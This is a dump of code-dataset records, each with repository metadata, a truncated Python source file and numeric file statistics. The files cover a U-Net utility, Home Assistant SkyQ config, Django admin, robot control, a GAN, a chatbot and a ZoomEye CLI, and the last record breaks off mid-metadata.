cdd5f8ad7b2f42d4bfe80a22a6bf9fc481e565ca
2,750
py
Python
U-NET/utils.py
HarshZ26/Object-Detection
1d73f6aeb7452b0b26bd2713e69f340d129a5ba5
[ "MIT" ]
1
2022-03-23T15:49:02.000Z
2022-03-23T15:49:02.000Z
U-NET/utils.py
HarshZ26/Object-Detection
1d73f6aeb7452b0b26bd2713e69f340d129a5ba5
[ "MIT" ]
null
null
null
U-NET/utils.py
HarshZ26/Object-Detection
1d73f6aeb7452b0b26bd2713e69f340d129a5ba5
[ "MIT" ]
null
null
null
from init import * VOC_CLASSES = [ "background", "aeroplane", "bicycle", "bird", "boat", "bottle", "bus", "car", "cat", "chair", "cow", "diningtable", "dog", "horse", "motorbike", "person", "potted plant", "sheep", "sofa",...
25.229358
105
0.577818
394
2,750
3.951777
0.34264
0.012845
0.028259
0.011561
0.094412
0.050096
0.035967
0.035967
0.035967
0
0
0.105036
0.241818
2,750
108
106
25.462963
0.641727
0.032
0
0
0
0
0.060737
0
0
0
0
0
0
1
0.040816
false
0
0.010204
0
0.081633
0.030612
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdd753cdba3af6ee31cf0c550e2ee7e5c881ebc9
2,898
py
Python
custom_components/skyq/classes/switchmaker.py
TomBrien/Home_Assistant_SkyQ_MediaPlayer
50f9ad0d3b7a3bc2acc652415ff59740bf3ace10
[ "MIT" ]
null
null
null
custom_components/skyq/classes/switchmaker.py
TomBrien/Home_Assistant_SkyQ_MediaPlayer
50f9ad0d3b7a3bc2acc652415ff59740bf3ace10
[ "MIT" ]
null
null
null
custom_components/skyq/classes/switchmaker.py
TomBrien/Home_Assistant_SkyQ_MediaPlayer
50f9ad0d3b7a3bc2acc652415ff59740bf3ace10
[ "MIT" ]
null
null
null
""" A utility function to generate yaml config for SkyQ media players. To support easy usage with other home assistant integrations, e.g. google home """ import os.path as _path import yaml from ..const import CONST_ALIAS_FILENAME class Switch_Maker: """The Switchmaker Class.""" def __init__(self, config_...
30.1875
78
0.493444
275
2,898
4.905455
0.363636
0.088955
0.077835
0.083024
0.07487
0.036323
0
0
0
0
0
0.000544
0.366115
2,898
95
79
30.505263
0.733805
0.076259
0
0.027027
1
0
0.14205
0
0
0
0
0
0
1
0.040541
false
0
0.040541
0
0.108108
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
cdd78b4b371ac658a03d1638d8afdbda0805a759
24,528
py
Python
datawinners/accountmanagement/admin.py
ICT4H/dcs-web
fb0f53fad4401cfac1c1789ff28b9d5bda40c975
[ "Apache-2.0" ]
1
2015-11-02T09:11:12.000Z
2015-11-02T09:11:12.000Z
datawinners/accountmanagement/admin.py
ICT4H/dcs-web
fb0f53fad4401cfac1c1789ff28b9d5bda40c975
[ "Apache-2.0" ]
null
null
null
datawinners/accountmanagement/admin.py
ICT4H/dcs-web
fb0f53fad4401cfac1c1789ff28b9d5bda40c975
[ "Apache-2.0" ]
null
null
null
# vim: ai ts=4 sts=4 et sw=4 encoding=utf-8 import datetime import logging from django.contrib.auth.admin import UserAdmin from django.contrib.auth.forms import UserChangeForm from django.core.exceptions import ValidationError from django.forms import CharField from django.utils.translation import ugettext_lazy as _ f...
44.194595
218
0.677471
2,949
24,528
5.391319
0.127501
0.016668
0.019624
0.017108
0.428392
0.376565
0.341657
0.303981
0.265614
0.253915
0
0.001405
0.216569
24,528
554
219
44.274368
0.825978
0.006197
0
0.294393
0
0.028037
0.192647
0.037996
0
0
0
0
0
1
0.13785
false
0.009346
0.067757
0.067757
0.432243
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cddabebcaa2a91087a2f9f94dcd4f545a6f38cff
283
py
Python
tests/conftest.py
bayashi-cl/expander
b3623b656a71801233797e05781295a6101fefd8
[ "CC0-1.0" ]
null
null
null
tests/conftest.py
bayashi-cl/expander
b3623b656a71801233797e05781295a6101fefd8
[ "CC0-1.0" ]
1
2022-03-12T20:41:21.000Z
2022-03-13T06:34:30.000Z
tests/conftest.py
bayashi-cl/expander
b3623b656a71801233797e05781295a6101fefd8
[ "CC0-1.0" ]
null
null
null
import pytest from unittest import mock import os import pathlib @pytest.fixture(scope="session", autouse=True) def set_pythonpath(): testlib_path = pathlib.Path.cwd() / "tests" / "testlib" with mock.patch.dict(os.environ, {"PYTHONPATH": str(testlib_path)}): yield
23.583333
72
0.713781
37
283
5.378378
0.675676
0.110553
0
0
0
0
0
0
0
0
0
0
0.155477
283
11
73
25.727273
0.832636
0
0
0
0
0
0.102474
0
0
0
0
0
0
1
0.111111
false
0
0.444444
0
0.555556
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
cddacc9ad1d4172e5208503da82fc4edfb83363e
1,870
py
Python
init/global_eq_FCtest/setup_fns.py
mattzett/GEMINI-examples
9932cee67e88898bd00c34bab7ac0568e92e40ca
[ "Apache-2.0" ]
1
2020-03-20T22:19:05.000Z
2020-03-20T22:19:05.000Z
init/global_eq_FCtest/setup_fns.py
mattzett/GEMINI-examples
9932cee67e88898bd00c34bab7ac0568e92e40ca
[ "Apache-2.0" ]
3
2020-02-14T14:36:27.000Z
2020-04-03T21:06:27.000Z
init/global_eq_FCtest/setup_fns.py
mattzett/GEMINI-examples
9932cee67e88898bd00c34bab7ac0568e92e40ca
[ "Apache-2.0" ]
null
null
null
# This is mostly a repeat of model.setup from the pygemini repository except for that it setups up a periodic # grid for us in full-globe simulations. from __future__ import annotations import argparse from pathlib import Path import typing as T import shutil import os from gemini3d.config import read_nml import g...
29.68254
109
0.652941
267
1,870
4.456929
0.41573
0.040336
0.030252
0.02521
0.028571
0.028571
0.028571
0
0
0
0
0.006228
0.227273
1,870
62
110
30.16129
0.817301
0.279144
0
0.058824
0
0
0.172678
0
0
0
0
0.016129
0
1
0.029412
false
0
0.235294
0
0.264706
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
cddc0485c396754b68315d1f0f82db760ff25dc5
2,580
py
Python
floodfill_pathfinding.py
mnursey/Battlesnake-2021
884b9cf1b40c9b03cc49bd1594135e7caf41ee82
[ "MIT" ]
null
null
null
floodfill_pathfinding.py
mnursey/Battlesnake-2021
884b9cf1b40c9b03cc49bd1594135e7caf41ee82
[ "MIT" ]
null
null
null
floodfill_pathfinding.py
mnursey/Battlesnake-2021
884b9cf1b40c9b03cc49bd1594135e7caf41ee82
[ "MIT" ]
null
null
null
import board class Floodfill: frontier = [] grid = None board = None def __init__(self, game_board, start_cord): self.board = game_board self.grid = [[None for i in range(self.board.width)] for j in range(self.board.width)] start_node = self.create_node(start_cord["x"], star...
27.446809
117
0.445736
293
2,580
3.829352
0.204778
0.064171
0.062389
0.057041
0.206774
0.131907
0.074866
0.046346
0.046346
0.046346
0
0.001963
0.407752
2,580
93
118
27.741935
0.73233
0.014341
0
0.063492
0
0
0.037387
0
0
0
0
0
0
1
0.111111
false
0
0.015873
0.031746
0.301587
0.031746
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cddc0ce80665ce382edeabc67713697083130041
3,736
py
Python
Gobot-Omni/robot.py
FRC1076/2019-Parade
3824449ed10e33b401efb646fd2e6470c3941c8b
[ "MIT" ]
null
null
null
Gobot-Omni/robot.py
FRC1076/2019-Parade
3824449ed10e33b401efb646fd2e6470c3941c8b
[ "MIT" ]
2
2019-06-17T23:38:23.000Z
2019-06-17T23:39:43.000Z
Gobot-Omni/robot.py
FRC1076/2019-Parade
3824449ed10e33b401efb646fd2e6470c3941c8b
[ "MIT" ]
null
null
null
import wpilib import ctre from wpilib.drive import DifferentialDrive from wpilib.interfaces import GenericHID #MOTOR PORTS LEFT = 1 RIGHT = 3 CENTER1 = 2 CENTER2 = 4 #BALL MANIPULATOR BALL_MANIP_ID = 5 GATHER_SPEED = 1.0 SPIT_SPEED = -1.0 STOP_SPEED = 0.0 LEFT_HAND = GenericHID.Hand.kLeft RIGHT_HAND = GenericHID.Han...
27.470588
81
0.646413
442
3,736
5.377828
0.282805
0.033656
0.033656
0.020194
0.07236
0.07236
0.028607
0.028607
0
0
0
0.019671
0.251606
3,736
136
82
27.470588
0.830472
0.146413
0
0.098765
0
0
0.002603
0
0
0
0
0
0
1
0.160494
false
0
0.049383
0
0.296296
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cddcaaf10bf47f30133fae7ab0e9db139ac2e1cc
1,789
py
Python
src/tests/test_decorators.py
elifesciences/builder
161829686f777f7ac7f97bd970395886ba5089c1
[ "MIT" ]
11
2017-03-01T18:00:30.000Z
2021-12-10T05:11:02.000Z
src/tests/test_decorators.py
elifesciences/builder
161829686f777f7ac7f97bd970395886ba5089c1
[ "MIT" ]
397
2016-07-08T14:39:46.000Z
2022-03-30T12:45:09.000Z
src/tests/test_decorators.py
elifesciences/builder
161829686f777f7ac7f97bd970395886ba5089c1
[ "MIT" ]
14
2016-07-13T08:33:28.000Z
2020-04-22T21:42:21.000Z
from . import base from mock import patch import decorators class TestDecorators(base.BaseCase): @patch('decorators.LOG.info') def test_timeit_smoke_test(self, info): @decorators.timeit def some_task(param, **kwargs): pass some_task(42, option='value') (args, _) = in...
38.06383
97
0.653438
215
1,789
5.24186
0.297674
0.119787
0.056788
0.04614
0.406389
0.406389
0.354925
0.282165
0.193434
0.193434
0
0.017495
0.20123
1,789
46
98
38.891304
0.771169
0
0
0.102564
0
0
0.188373
0.039128
0
0
0
0
0.307692
1
0.205128
false
0.025641
0.076923
0
0.358974
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
cddea9a721eee8e3cc13555afb08ee013159480b
2,158
py
Python
integration/emulator/device.py
cvlabmiet/master-programming-example
8a4a231ba2b72a93ae14da2c04e17b2ae3fc6651
[ "MIT" ]
null
null
null
integration/emulator/device.py
cvlabmiet/master-programming-example
8a4a231ba2b72a93ae14da2c04e17b2ae3fc6651
[ "MIT" ]
null
null
null
integration/emulator/device.py
cvlabmiet/master-programming-example
8a4a231ba2b72a93ae14da2c04e17b2ae3fc6651
[ "MIT" ]
null
null
null
import re, operator, array from collections import namedtuple class Argument(object): def __init__(self, viewtype, begin, end=None): self.type = viewtype self.begin = int(begin) self.end = None if end is not None: self.end = int(end) class Lram(bytearray): pass cla...
33.2
123
0.561631
284
2,158
4.165493
0.330986
0.045647
0.046492
0.043111
0.042265
0.042265
0
0
0
0
0
0.026758
0.255329
2,158
64
124
33.71875
0.709396
0.125116
0
0.086957
0
0
0.030835
0.025518
0
0
0
0
0
1
0.195652
false
0.021739
0.043478
0
0.434783
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cde0f842eb62a19de3f38d4d8d1f8ff65a2ce325
10,538
py
Python
Ramsey_RF_generator.py
bopopescu/Lauecollect
60ae2b05ea8596ba0decf426e37aeaca0bc8b6be
[ "MIT" ]
null
null
null
Ramsey_RF_generator.py
bopopescu/Lauecollect
60ae2b05ea8596ba0decf426e37aeaca0bc8b6be
[ "MIT" ]
1
2019-10-22T21:28:31.000Z
2019-10-22T21:39:12.000Z
Ramsey_RF_generator.py
bopopescu/Lauecollect
60ae2b05ea8596ba0decf426e37aeaca0bc8b6be
[ "MIT" ]
2
2019-06-06T15:06:46.000Z
2020-07-20T02:03:22.000Z
""" Ramsay RSG1000B RF Signal Generator, controlled via RS-323 interface See: Ramsay RSG1000B RF Signal Generator User Guide, p.10-11 Settings: 9600 baud, 8 bits, parity none, stop bits 1, flow control none DB09 connector pin 2 = TxD, 3 = RxD, 5 = Ground The controller accepts unterminate ASCII text commands and gene...
36.089041
101
0.584836
1,336
10,538
4.492515
0.217814
0.027991
0.029324
0.011996
0.21043
0.145951
0.122626
0.118794
0.088304
0.064312
0
0.01377
0.303948
10,538
291
102
36.213058
0.804499
0.037294
0
0.15566
0
0
0.10648
0.010096
0
0
0
0
0
0
null
null
0
0.09434
null
null
0.023585
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
cde603f7c8844ec9a35ff25bb6a1c13b5f4bbf79
819
py
Python
modules/file_helper.py
dada00321/ntust_moodle_resource_crawler
cc5d424ab9440d8e67bb072977fc58740d8bc968
[ "MIT" ]
null
null
null
modules/file_helper.py
dada00321/ntust_moodle_resource_crawler
cc5d424ab9440d8e67bb072977fc58740d8bc968
[ "MIT" ]
null
null
null
modules/file_helper.py
dada00321/ntust_moodle_resource_crawler
cc5d424ab9440d8e67bb072977fc58740d8bc968
[ "MIT" ]
null
null
null
import json def save_json(dict_, json_filepath): ''' [Example] Write JSON ''' ''' dict_ = {"0":{"title":"test-A", "is-available": False, "link":"https://www.AAA.XXX..."}, "1":{"title":"test-B", "is-available": True, "link":"https://www.BBB.XXX..."}} with open("dict_.txt", 'w') as output_fi...
31.5
92
0.570208
108
819
4.074074
0.351852
0.109091
0.086364
0.068182
0.4
0.4
0.4
0.4
0.4
0.240909
0
0.003195
0.235653
819
26
93
31.5
0.699681
0.089133
0
0
0
0
0.006472
0
0
0
0
0
0
1
0.25
false
0
0.125
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
cde6ca9c0b5b99aea51fe8a0efe3ed98163008e0
17,570
py
Python
win/pywinauto/findbestmatch.py
sk8darr/BrowserRefresh-Sublime
daee0eda6480c07f8636ed24e5c555d24e088886
[ "MIT", "Unlicense" ]
191
2015-01-02T12:17:07.000Z
2021-05-26T09:26:05.000Z
win/pywinauto/findbestmatch.py
sk8darr/BrowserRefresh-Sublime
daee0eda6480c07f8636ed24e5c555d24e088886
[ "MIT", "Unlicense" ]
48
2015-01-14T00:57:36.000Z
2021-04-06T21:45:42.000Z
win/pywinauto/findbestmatch.py
sk8darr/BrowserRefresh-Sublime
daee0eda6480c07f8636ed24e5c555d24e088886
[ "MIT", "Unlicense" ]
36
2015-01-14T18:54:25.000Z
2021-07-18T10:54:42.000Z
# GUI Application automation and testing library # Copyright (C) 2006 Mark Mc Mahon # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public License # as published by the Free Software Foundation; either version 2.1 # of the License, or (at you...
32.657993
86
0.594878
2,266
17,570
4.429832
0.171668
0.029588
0.018131
0.012552
0.30265
0.261606
0.196553
0.161287
0.144351
0.144351
0
0.007258
0.302106
17,570
537
87
32.718808
0.811368
0.459761
0
0.150485
0
0
0.057572
0
0
0
0
0.001862
0
1
0.058252
false
0.004854
0.019417
0
0.150485
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cde9443d5f9dce44149feca0d10e665a2fbcf090
1,074
py
Python
setup.py
boichee/fabricator
33ad4fa615c153817b014d6b7fe9807f1752db25
[ "MIT" ]
11
2018-07-09T07:08:16.000Z
2018-07-13T14:05:46.000Z
setup.py
boichee/fabricator
33ad4fa615c153817b014d6b7fe9807f1752db25
[ "MIT" ]
3
2020-03-24T17:37:47.000Z
2021-02-02T22:18:59.000Z
setup.py
boichee/fabricator
33ad4fa615c153817b014d6b7fe9807f1752db25
[ "MIT" ]
null
null
null
from setuptools import setup, find_packages exclude_dirs = ['ez_setup', 'examples', 'tests', 'venv'] # Runtime requirements reqs = [ 'requests', 'six', 'future', 'aenum' ] # Requirements for testing test_reqs = ['pytest', 'hypothesis', 'requests_mock'] # Requirements for setup setup_reqs = ['flake8'...
26.85
83
0.650838
117
1,074
5.854701
0.700855
0.035037
0.055474
0
0
0
0
0
0
0
0
0.011792
0.210428
1,074
39
84
27.538462
0.795991
0.063315
0
0
0
0
0.474052
0
0
0
0
0
0
1
0
false
0
0.032258
0
0.032258
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cde9a03010ce87292ba1da645b7d397d96cc724e
115
py
Python
aitoolbox/cloud/__init__.py
mv1388/AIToolbox
c64ac4810a02d230ce471d86b758e82ea232a7e7
[ "MIT" ]
3
2019-10-12T12:24:09.000Z
2020-08-02T02:42:43.000Z
aitoolbox/cloud/__init__.py
mv1388/aitoolbox
1060435e6cbdfd19abcb726c4080b663536b7467
[ "MIT" ]
3
2020-04-10T14:07:07.000Z
2020-04-22T19:04:38.000Z
aitoolbox/cloud/__init__.py
mv1388/aitoolbox
1060435e6cbdfd19abcb726c4080b663536b7467
[ "MIT" ]
null
null
null
s3_available_options = ['s3', 'aws_s3', 'aws'] gcs_available_options = ['gcs', 'google_storage', 'google storage']
38.333333
67
0.713043
15
115
5.066667
0.466667
0.421053
0
0
0
0
0
0
0
0
0
0.028846
0.095652
115
2
68
57.5
0.701923
0
0
0
0
0
0.365217
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
cde9dfcf27b3e92945a09440ebd5cd1eb09e8452
12,607
py
Python
src/gan/ccgan/ccGAN.py
matkir/Master_programs
70c4c399f9c9fc3e1643e78694223b24d7b94b18
[ "MIT" ]
null
null
null
src/gan/ccgan/ccGAN.py
matkir/Master_programs
70c4c399f9c9fc3e1643e78694223b24d7b94b18
[ "MIT" ]
null
null
null
src/gan/ccgan/ccGAN.py
matkir/Master_programs
70c4c399f9c9fc3e1643e78694223b24d7b94b18
[ "MIT" ]
null
null
null
from __future__ import print_function, division if __name__=='__main__': from cc_weights import Weight_model else: from . import Weight_model from keras.models import load_model import keras.backend as K import plotload import sys from selector import Selector #from masker import mask_from_template,mask_randoml...
41.199346
142
0.546601
1,690
12,607
3.915385
0.168639
0.050778
0.070727
0.035363
0.425419
0.392625
0.371921
0.314644
0.291975
0.278676
0
0.022043
0.319902
12,607
305
143
41.334426
0.749708
0.058777
0
0.23176
0
0.077253
0.193537
0.097965
0
0
0
0
0
1
0.051502
false
0
0.085837
0
0.175966
0.042918
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdea49e6abeeb4e6ceb631ab1583ede7c457b5ed
6,585
py
Python
synapse/server.py
uroborus/synapse
270825ab2a3e16bb8ffcdbcea058efd28a38e8e1
[ "Apache-2.0" ]
1
2021-09-09T08:50:20.000Z
2021-09-09T08:50:20.000Z
synapse/server.py
uroborus/synapse
270825ab2a3e16bb8ffcdbcea058efd28a38e8e1
[ "Apache-2.0" ]
null
null
null
synapse/server.py
uroborus/synapse
270825ab2a3e16bb8ffcdbcea058efd28a38e8e1
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright 2014 OpenMarket Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
31.658654
79
0.665907
803
6,585
5.33873
0.327522
0.038488
0.025192
0.009097
0.071379
0.064847
0.034523
0.02286
0.02286
0.02286
0
0.002067
0.2653
6,585
207
80
31.811594
0.884043
0.380714
0
0
0
0
0.096308
0.018332
0
0
0
0.004831
0
1
0.2
false
0
0.142857
0.133333
0.552381
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
cdea57f865285710bac46af78cc530224ae5efeb
359
py
Python
pythonforandroid/recipes/kivy/__init__.py
inclement/p4a-experiment
4e120e08cc3c33af89948307628c8b28fdf76b87
[ "MIT" ]
1
2015-06-09T21:12:09.000Z
2015-06-09T21:12:09.000Z
pythonforandroid/recipes/kivy/__init__.py
inclement/p4a-experiment
4e120e08cc3c33af89948307628c8b28fdf76b87
[ "MIT" ]
null
null
null
pythonforandroid/recipes/kivy/__init__.py
inclement/p4a-experiment
4e120e08cc3c33af89948307628c8b28fdf76b87
[ "MIT" ]
null
null
null
from pythonforandroid.toolchain import CythonRecipe, shprint, current_directory, ArchAndroid from os.path import exists, join import sh import glob class KivyRecipe(CythonRecipe): version = 'stable' url = 'https://github.com/kivy/kivy/archive/{version}.zip' name = 'kivy' depends = ['pygame', 'pyjniu...
21.117647
92
0.721448
41
359
6.292683
0.780488
0
0
0
0
0
0
0
0
0
0
0
0.158774
359
16
93
22.4375
0.854305
0
0
0
0
0
0.223464
0
0
0
0
0
0
1
0
false
0
0.4
0
0.9
0.1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
cdeaa27ba25e454daf95595f163fae1a13887999
1,220
py
Python
chat.py
Programmer-RD-AI/Learning-NLP-PyTorch
5780598340308995c0b8436d3031aa58ee7b81da
[ "Apache-2.0" ]
null
null
null
chat.py
Programmer-RD-AI/Learning-NLP-PyTorch
5780598340308995c0b8436d3031aa58ee7b81da
[ "Apache-2.0" ]
null
null
null
chat.py
Programmer-RD-AI/Learning-NLP-PyTorch
5780598340308995c0b8436d3031aa58ee7b81da
[ "Apache-2.0" ]
null
null
null
import random import json import torch from model import NeuralNet from nltk_utils import * device = "cuda" with open('intents.json','r') as f: intents = json.load(f) FILE = 'data.pth' data = torch.load(FILE) input_size = data['input_size'] output_size = data['output_size'] hidden_size = data['hidden_size'] all_wor...
29.047619
74
0.648361
180
1,220
4.244444
0.416667
0.03534
0.036649
0.034031
0
0
0
0
0
0
0
0.00813
0.193443
1,220
41
75
29.756098
0.768293
0
0
0
0
0
0.17459
0.029508
0
0
0
0
0
1
0
false
0
0.121951
0
0.121951
0.073171
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdeb4f70b3a53f9cb3413cfdc25708394eec070f
329
py
Python
Jay_Redis/Jay_Redis/utils/GetProxyIp.py
kimsax/gratuation_project
99f842753f3403d3fdcd62316cf6a8d0091a5871
[ "MIT" ]
1
2021-03-02T08:04:25.000Z
2021-03-02T08:04:25.000Z
Jay_Redis/Jay_Redis/utils/GetProxyIp.py
kimsax/gratuation_project
99f842753f3403d3fdcd62316cf6a8d0091a5871
[ "MIT" ]
null
null
null
Jay_Redis/Jay_Redis/utils/GetProxyIp.py
kimsax/gratuation_project
99f842753f3403d3fdcd62316cf6a8d0091a5871
[ "MIT" ]
null
null
null
# -*- utf-8 -*- import random import redis import requests def GetIps(): li = [] # url = 'http://122.51.95.201:8000/?country=国内&count=20' url = 'http://127.0.0.1:8000/?country=国内&count=20' ips = requests.get(url) for ip in eval(ips.content): li.append(ip[0]+':'+str(ip[1])) return li # ...
20.5625
60
0.580547
53
329
3.603774
0.622642
0.073298
0.136126
0.188482
0.209424
0
0
0
0
0
0
0.118774
0.206687
329
15
61
21.933333
0.613027
0.234043
0
0
0
0
0.173387
0
0
0
0
0
0
1
0.1
false
0
0.3
0
0.5
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
cdeb9ce72d1bf949c4fdc2a94b43168b90c61e61
876
py
Python
setup.py
tbz-pariv/ftpservercontext
426e98dd4983cc6977c4d071a831874726c0fae2
[ "Apache-2.0" ]
2
2019-04-18T12:28:58.000Z
2021-01-04T14:52:07.000Z
setup.py
tbz-pariv/ftpservercontext
426e98dd4983cc6977c4d071a831874726c0fae2
[ "Apache-2.0" ]
1
2019-01-04T14:46:00.000Z
2019-06-04T12:31:45.000Z
setup.py
tbz-pariv/ftpservercontext
426e98dd4983cc6977c4d071a831874726c0fae2
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- import setuptools setuptools.setup( name='ftpservercontext', version='2018.3.0', license='commercial', author='Thomas Guettler', author_email='guettliml.ftpservercontext@thomas-guettler.de', url='https://github.com/tbz-pariv/ftpservercontext', long_description=open(...
29.2
106
0.696347
97
876
6.072165
0.752577
0.076401
0.064516
0.095076
0.11545
0.11545
0
0
0
0
0
0.009722
0.178082
876
29
107
30.206897
0.808333
0.256849
0
0.095238
0
0
0.392248
0.193798
0
0
0
0
0
1
0
true
0
0.047619
0
0.047619
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
cdecd7c4bafe572b5e961bd73c1a75878f9feaa8
3,428
py
Python
zoomeye/cli.py
r0oike/zoomeye-python
b93f1c9c350e4fce7580f9f71ab1e76d06ce165d
[ "Apache-2.0" ]
null
null
null
zoomeye/cli.py
r0oike/zoomeye-python
b93f1c9c350e4fce7580f9f71ab1e76d06ce165d
[ "Apache-2.0" ]
null
null
null
zoomeye/cli.py
r0oike/zoomeye-python
b93f1c9c350e4fce7580f9f71ab1e76d06ce165d
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ * Filename: cli.py * Description: cli program entry * Time: 2020.11.30 * Author: liuf5 */ """ import os import sys import argparse module_path = os.path.dirname(os.path.dirname(os.path.realpath(__file__))) sys.path.insert(1, module_path) from zoomeye import core ...
26.369231
110
0.606768
392
3,428
5.17602
0.369898
0.059142
0.05175
0.079349
0.18137
0.109414
0.109414
0.109414
0.071957
0.071957
0
0.005983
0.26867
3,428
129
111
26.573643
0.803351
0.073221
0
0.34375
0
0
0.353147
0.067069
0
0
0
0
0
1
0.020833
false
0.010417
0.041667
0
0.072917
0.020833
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdece39680fd28858374924d70a1d3ff5d97fb90
462
py
Python
statapy/regression/tests.py
DhananjayAshok/PyStata
b592414d78b87d565d8c59ae9487478a792b8c84
[ "Apache-2.0" ]
null
null
null
statapy/regression/tests.py
DhananjayAshok/PyStata
b592414d78b87d565d8c59ae9487478a792b8c84
[ "Apache-2.0" ]
null
null
null
statapy/regression/tests.py
DhananjayAshok/PyStata
b592414d78b87d565d8c59ae9487478a792b8c84
[ "Apache-2.0" ]
null
null
null
import scipy.stats as stats def mannwhitneyu(sample_0, sample_1, one_sided=False): """ Performs the Mann-Whitney U test :param sample_0: array of values :param sample_1: array of values :param one_sided: True iff you want to use less than alternative hypothesis :return: statistic, pvalue "...
35.538462
102
0.722944
69
462
4.710145
0.57971
0.064615
0.116923
0.153846
0.16
0
0
0
0
0
0
0.016129
0.194805
462
13
103
35.538462
0.857527
0.435065
0
0
0
0
0.056522
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.75
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
cdeceab8b898ec021afc4aa90ddeda2bd76d683c
862
py
Python
3) Cartoonizing and Video Capture/#1 Accessing the webcam/webcam_access.py
RezaFirouzii/python-opencv-review
454a2be7fa36516a2b1fbd4e6162068bba25c989
[ "MIT" ]
null
null
null
3) Cartoonizing and Video Capture/#1 Accessing the webcam/webcam_access.py
RezaFirouzii/python-opencv-review
454a2be7fa36516a2b1fbd4e6162068bba25c989
[ "MIT" ]
null
null
null
3) Cartoonizing and Video Capture/#1 Accessing the webcam/webcam_access.py
RezaFirouzii/python-opencv-review
454a2be7fa36516a2b1fbd4e6162068bba25c989
[ "MIT" ]
null
null
null
import cv2 as cv if __name__ == "__main__": # 0 => first (default) webcam connected, # 1 => second webcam and so on. cap = cv.VideoCapture(0, cv.CAP_DSHOW) # cv.namedWindow("Window") if not cap.isOpened(): raise IOError("Webcam could not be opened!") while True: ...
25.352941
61
0.597448
116
862
4.362069
0.681034
0.019763
0
0
0
0
0
0
0
0
0
0.016722
0.306265
862
33
62
26.121212
0.829431
0.363109
0
0.125
0
0
0.087199
0
0
0
0
0
0
1
0
false
0
0.0625
0
0.0625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
cdf16ad97ffce90e11c1fa4d69eb40752cd40a16
3,928
py
Python
apps/sso/access_requests/models.py
g10f/sso
ba6eb712add388c69d4880f5620a2e4ce42d3fee
[ "BSD-3-Clause" ]
3
2021-05-16T17:06:57.000Z
2021-05-28T17:14:05.000Z
apps/sso/access_requests/models.py
g10f/sso
ba6eb712add388c69d4880f5620a2e4ce42d3fee
[ "BSD-3-Clause" ]
